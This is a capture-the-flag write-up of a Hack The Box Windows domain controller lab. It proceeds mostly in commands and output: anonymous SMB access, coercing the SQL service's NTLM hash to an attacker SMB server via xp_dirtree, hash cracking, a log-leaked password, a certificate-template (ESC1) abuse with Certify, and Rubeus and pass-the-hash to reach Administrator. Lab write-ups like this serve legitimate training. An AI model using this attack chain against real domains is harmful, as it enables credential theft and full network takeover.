We begin with a port scan:
└─$ sudo nmap -sV -Pn 10.129.25.141
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 17:36 EST
Nmap scan report for 10.129.25.141
Host is up (0.039s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-27 06:36:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.26 seconds
We’ve got a lot of options here, I want to try listing the SMB (Port 139 and 445) shares using smbclient. I will see what is available without giving a password:
└─$ smbclient -N -L 10.129.25.141
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk
SYSVOL Disk Logon server share
We see a share with no comment on it called Public so let’s see if we can read anything there.
└─$ smbclient -N //10.129.25.141/Public
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Nov 19 06:51:25 2022
.. D 0 Sat Nov 19 06:51:25 2022
SQL Server Procedures.pdf A 49551 Fri Nov 18 08:39:43 2022
5184255 blocks of size 4096. 1303178 blocks available
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdf (207.7 KiloBytes/sec) (average 207.7 KiloBytes/sec)
smb: \>
Once in the share, we see a file called SQL Server Procedures.pdf so let’s download it and see what we can learn.
The second page on the document tells us about a guest account we can use to look at a “sneak peek” of the database.
Those credentials are PublicUser:GuestUserCantWrite1. We also can get some kind of username schema by looking at the email in the document at the bottom of page 1: brandon.brown@sequel.htb. So we can keep that in mind if we want to spray for usernames.
We know it is an SQL database and logging in with those credentials we got earlier can be done with impacket’s mssqlclient script:
└─$ impacket-mssqlclient PublicUser:GuestUserCantWrite1@10.129.25.141
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
The syntax for this command is as follows:
[[domain/]username[:password]@]<targetName or address>
We don’t need to specify our domain name because we are using SQL Server Authentication instead of Windows Authentication as the document from earlier tells us.
You’ll notice that we can’t do all too much and even using !{cmd} isn’t giving us all that much information. Even using xp_cmdshell which is a part of impacket doesn’t give us anything to work with.
This is where I initially got stuck and where an old writeup from snowscan for a HTB machine called Querier helped me out. (https://snowscan.io/htb-writeup-querier/#)
This other machine seems to present the same problem and he uses something called Responder to get a connection from the SQL server that allows us to see an NTLM hash.
So, first we need to set up our own SMB server to use:
└─$ sudo impacket-smbserver gabesmb . -smb2support
[sudo] password for kali:
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
In this command, gabesmb is the name of the server mounted to . which is just the current directory. I specify smb2support to enable support for the SMBv2 and SMBv3 protocols, which are more modern and secure versions of the SMB protocol.
We are going to run the xp_dirtree command. These commands all begin with xp meaning extended procedures. This command, as you’d expect, jsut lists the contents of all directories. On Windows, when you try to access a network share, you treat it as a directory just as on your local box. Why is this important?
- On a Windows machine, you can press
Ctrl + Rand type in\\<HostToConnectTo>\<DirectoryToAccess>where if you have the proper permissions, you’ll connect to that network share. - In order to provide credentials, Windows sends NTLM authentication to the remote host to see if that user has access to that share or not.
- Source: (https://anubissec.github.io/Giddy-HackTheBox-WriteUp/#)
So, we can get the NTLM Credentials of the account running the SQL server on the target machine if we just request access to read files from out SMB server.
We can accomplish this by performing the following command on the target machine:
SQL> xp_dirtree '\\10.10.14.107\gabesmb'
subdirectory depth
-----------------------------------------------------------------------
On your SMB server you’ll see this information:
[*] Incoming connection (10.129.25.141,60552)
[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:614281b---SNIP---000000000000
[*] Closing down connection (10.129.25.141,60552)
[*] Remaining connections []
We successfully got the hash of the sql_svc user on the sequel domain. Let’s try and crack it with john.
I copied the hash into a file called hash and performed the following:
└─$ john hash -w=../../../../Useful-Misc./rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REGGIE1234ronnie (sql_svc)
1g 0:00:00:02 DONE (2023-02-26 18:25) 0.3389g/s 3628Kp/s 3628Kc/s 3628KC/s REINLY..RBDesloMEJOR
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
We’ve got the credential sql_svc:REGGIE1234ronnie. Nice, let’s try and see if we can get in with evil-winrm:
└─$ evil-winrm -i 10.129.25.141 -u sql_svc -p REGGIE1234ronnie
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc
Looking in the C:\Users folder we get a potential candidate for a future foothold:
*Evil-WinRM* PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:58 AM Administrator
d-r--- 7/20/2021 12:23 PM Public
d----- 2/1/2023 6:37 PM Ryan.Cooper
d----- 2/7/2023 8:10 AM sql_svc
Some more cool things to look at in the C:\SQLServer directory:
*Evil-WinRM* PS C:\SQLServer> ls
Directory: C:\SQLServer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:06 AM Logs
d----- 11/18/2022 1:37 PM SQLEXPR_2019
-a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe
-a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exe
If you take a look in the Logs directory, you’ll find a log file called ERRORLOG.BAK and when using cat to read it, you’ll see a lot but not far from the bottom (at least in my instance) I found this:
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
So a user called Ryan.Cooper was trying to login with the password NuclearMosquito3 and it didn’t work for them. Maybe this was just after or before a password reset, but for whatever reason we can log in with this password using evil-winrm:
└─$ evil-winrm -i 10.129.25.141 -u Ryan.Cooper -p NuclearMosquito3
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper
There is the user portion, now I want to get some more info. We can run certutil to get information about the environment:
*Evil-WinRM* PS C:\Users\Ryan.Cooper> certutil
Entry 0: (Local)
Name: "sequel-DC-CA"
Organizational Unit: ""
Organization: ""
Locality: ""
State: ""
Country/region: ""
Config: "dc.sequel.htb\sequel-DC-CA"
Exchange Certificate: ""
Signature Certificate: "dc.sequel.htb_sequel-DC-CA.crt"
Description: ""
Server: "dc.sequel.htb"
Authority: "sequel-DC-CA"
Sanitized Name: "sequel-DC-CA"
Short Name: "sequel-DC-CA"
Sanitized Short Name: "sequel-DC-CA"
Flags: "13"
Web Enrollment Servers: ""
CertUtil: -dump command completed successfully.
Using some phrasing and guidance from another writeup of Anubis written by 0xdf, I was able to try some other strategies. (https://0xdf.gitlab.io/2022/01/29/htb-anubis.html)
We can try using certutil -catemplates to read the certificate templates, which are collections of policy/settings that define a specific certificate that can be generated.
*Evil-WinRM* PS C:\Users\Ryan.Cooper> certutil -catemplates
UserAuthentication: UserAuthentication -- Auto-Enroll: Access is denied.
DirectoryEmailReplication: Directory Email Replication -- Access is denied.
DomainControllerAuthentication: Domain Controller Authentication -- Access is denied.
KerberosAuthentication: Kerberos Authentication -- Access is denied.
EFSRecovery: EFS Recovery Agent -- Access is denied.
EFS: Basic EFS -- Auto-Enroll: Access is denied.
DomainController: Domain Controller -- Access is denied.
WebServer: Web Server -- Access is denied.
Machine: Computer -- Access is denied.
User: User -- Auto-Enroll: Access is denied.
SubCA: Subordinate Certification Authority -- Access is denied.
Administrator: Administrator -- Access is denied.
CertUtil: -CATemplates command completed successfully.
It looks like we don’t have access to any of these, which stinks. That writeup from 0xdf references the use of something called Certify so we can look into how to use it and give it a try.
The tool can be found on this GitHub: (https://github.com/GhostPack/Certify)
What is Certify.exe?#
Developed by GhostPack, it is designed to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).
It works by querying the certificate templates stored in the Active Directory environment and checking the access control lists (ACLs) associated with each template.
It then checks for potential security weaknesses in the ACLs, such as allowing the “Everyone” group or anonymous users to enroll for a certificate, or granting excessive privileges to non-administrative users.
I decided to clone a bunch of pre-compiled binaries from here: (https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git)
You can place Cerfity.exe in your working directory using and upload it to the machine using evil-winrm by using the upload command:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload Certify.exe
Info: Uploading Certify.exe to C:\Users\Ryan.Cooper\Documents\Certify.exe
Data: 232104 bytes of 232104 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> ls
Directory: C:\Users\Ryan.Cooper\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/26/2023 11:50 PM 174080 Certify.exe
You can use Certify to look for vulnerable configurations by using the find /vulnerable argument:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Certify.exe find /vulnerable
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=sequel,DC=htb'
[*] Listing info about the Enterprise CA 'sequel-DC-CA'
Enterprise CA Name : sequel-DC-CA
DNS Hostname : dc.sequel.htb
FullName : dc.sequel.htb\sequel-DC-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=sequel-DC-CA, DC=sequel, DC=htb
Cert Thumbprint : A263EA89CAFE503BB33513E359747FD262F91A56
Cert Serial : 1EF2FA9A7E6EADAD4F5382F4CE283101
Cert Start Date : 11/18/2022 12:58:46 PM
Cert End Date : 11/18/2121 1:08:46 PM
Cert Chain : CN=sequel-DC-CA,DC=sequel,DC=htb
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
Allow ManageCA, ManageCertificates sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
Enrollment Agent Restrictions : None
[!] Vulnerable Certificates Templates :
CA Name : dc.sequel.htb\sequel-DC-CA
Template Name : UserAuthentication
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Domain Users S-1-5-21-4078382237-1492182817-2568127209-513
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
Object Control Permissions
Owner : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
WriteOwner Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteDacl Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
WriteProperty Principals : sequel\Administrator S-1-5-21-4078382237-1492182817-2568127209-500
sequel\Domain Admins S-1-5-21-4078382237-1492182817-2568127209-512
sequel\Enterprise Admins S-1-5-21-4078382237-1492182817-2568127209-519
Certify completed in 00:00:09.7240435
We see that there is a vulnerable UserAuthentication template that lets the group sequel\Domain Users enroll in the vulnerable certificate which says it can be used for Client Authentication and ENROLLEE_SUPPLIES_SUBJECT is set.
- This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a Domain Admin).
There is an article here (https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin) about using misconfigured templates to escalate privileges.
We can request the certificate with Certify by doing the following:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.0.0
[*] Action: Request a Certificates
[*] Current user context : sequel\Ryan.Cooper
[*] No subject name specified, using current context as subject.
[*] Template : UserAuthentication
[*] Subject : CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] AltName : Administrator
[*] Certificate Authority : dc.sequel.htb\sequel-DC-CA
[*] CA Response : The certificate had been issued.
[*] Request ID : 10
[*] cert.pem :
-----BEGIN RSA PRIVATE KEY-----
MIIEpgIBAAKCAQEA0IXT1YD8jKhenwYNQPx2x33LKeMxf8a4wR9vpEqaiFCcGxMZ
---SNIP---
wz/xDkpt0Opiws+MfWpX4ui2ynrwKg3UbkHuoHbliW/JzDJaiT1m18Su
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIGEjCCBPqgAwIBAgITHgAAAAo13oqOFXikKAAAAAAACjANBgkqhkiG9w0BAQsF
---SNIP---
3L3Wvb4i6uOOs7cxYzTGqChi6yMxlCP6uUrL260tNH+T7sjx7me+YLhB+6slXlpK
k2vIHdBVNSN4FTvHx/ddFgQuHrBjYg==
-----END CERTIFICATE-----
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Certify completed in 00:00:12.8308957
We use these arguments that do the following:
/cawhich specifies the Certificate Authority server we’re sending the request to/templatewhich specifies the certificate template that should be used for generating the new certificate/altnamewhich specifies the AD user for which the new certificate should be generated
So it is as simple as adding the CA for the domain controller and specifying that we would like to have the certificate for the Administrator user.
You’ll write the certificate to cert.pem and the key to private.key
As the article says, we can take that .pem certificate and turn it into a .pfx using OpenSSL like this:
└─$ openssl pkcs12 -in cert.pem -inkey private.key -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
- Just press
enterwhen it asks for an export password if you don’t want to use one.
We can now upload the certificate and Rubeus to the target machine using evil-winrm as we did before:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload cert.pfx
Info: Uploading cert.pfx to C:\Users\Ryan.Cooper\Documents\cert.pfx
Data: 4564 bytes of 4564 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> upload Rubeus.exe
Info: Uploading Rubeus.exe to C:\Users\Ryan.Cooper\Documents\Rubeus.exe
Data: 595968 bytes of 595968 bytes copied
Info: Upload successful!
What is Rubeus.exe?#
Rubeus is a powerful tool used for attacking Kerberos authentication in Windows Active Directory environments. It was developed in C# by HarmJ0y as a part of the Empire project.
Rubeus provides several functionalities related to Kerberos authentication, such as ticket enumeration, ticket request and renewal, lateral movement using Pass-the-Ticket (PtT) or Overpass-the-Hash (OtH) techniques, and Kerberos Golden Ticket attacks.
Some of the features of Rubeus include:
- Ticket requests: Rubeus can request tickets for specific users, service principals, or computer accounts, and can save the resulting tickets to a file or use them directly for authentication.
- Ticket enumeration: Rubeus can enumerate Kerberos tickets on the local system or across the network, and can display information about the tickets, such as the user or service principal name, ticket encryption type, and ticket validity period.
- Pass-the-Ticket: Rubeus can perform a Pass-the-Ticket attack, where a Kerberos ticket is stolen from one account and used to authenticate as another account, without the need for the second account’s password.
- Overpass-the-Hash: Rubeus can perform an Overpass-the-Hash attack, where the hash of a user’s password is stolen and used to authenticate as that user, without the need for the actual password.
- Kerberos Golden Ticket: Rubeus can generate a Kerberos Golden Ticket, which is a forged Kerberos ticket that grants full domain administrator privileges, and can be used to gain access to any resource in the domain.
In summary, Rubeus is a powerful tool for attacking Kerberos authentication in Windows Active Directory environments and can be used for various malicious activities, including lateral movement and privilege escalation.
-Written by ChatGPT
We can use Rubeus here to get the credentials for the Administrator user:
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> .\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Ryan.Cooper, CN=Users, DC=sequel, DC=htb
[*] Building AS-REQ (w/ PKINIT preauth) for: 'sequel.htb\Administrator'
[*] Using domain controller: fe80::8943:9361:5ac2:209e%4:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGSDCCBkSgAwIBBaEDAgEWooIFXjCCBVphggVWMIIFUqADAgEFoQwbClNFUVVFTC5IVEKiHzAdoAMC
---SNIP---
BwMFAADhAAClERgPMjAyMzAyMjcwODEzMDZaphEYDzIwMjMwMjI3MTgxMzA2WqcRGA8yMDIzMDMwNjA4
MTMwNlqoDBsKU0VRVUVMLkhUQqkfMB2gAwIBAqEWMBQbBmtyYnRndBsKc2VxdWVsLmh0Yg==
ServiceName : krbtgt/sequel.htb
ServiceRealm : SEQUEL.HTB
UserName : Administrator
UserRealm : SEQUEL.HTB
StartTime : 2/27/2023 12:13:06 AM
EndTime : 2/27/2023 10:13:06 AM
RenewTill : 3/6/2023 12:13:06 AM
Flags : name_canonicalize, pre_authent, initial, renewable
KeyType : rc4_hmac
Base64(key) : H9kENzY+j+J3nhaLsggkRA==
ASREP (key) : D45CD955528BD9F94F012A94CA6737CD
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : A52F78E4C751E5F5E17E1E9F3E58F4EE
Now, all you’ve got to do is take the NTLM Hash and log in by passing the hash with evil-winrm:
└─$ evil-winrm -i 10.129.25.141 -u Administrator -H A52F78E4C751E5F5E17E1E9F3E58F4EE
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>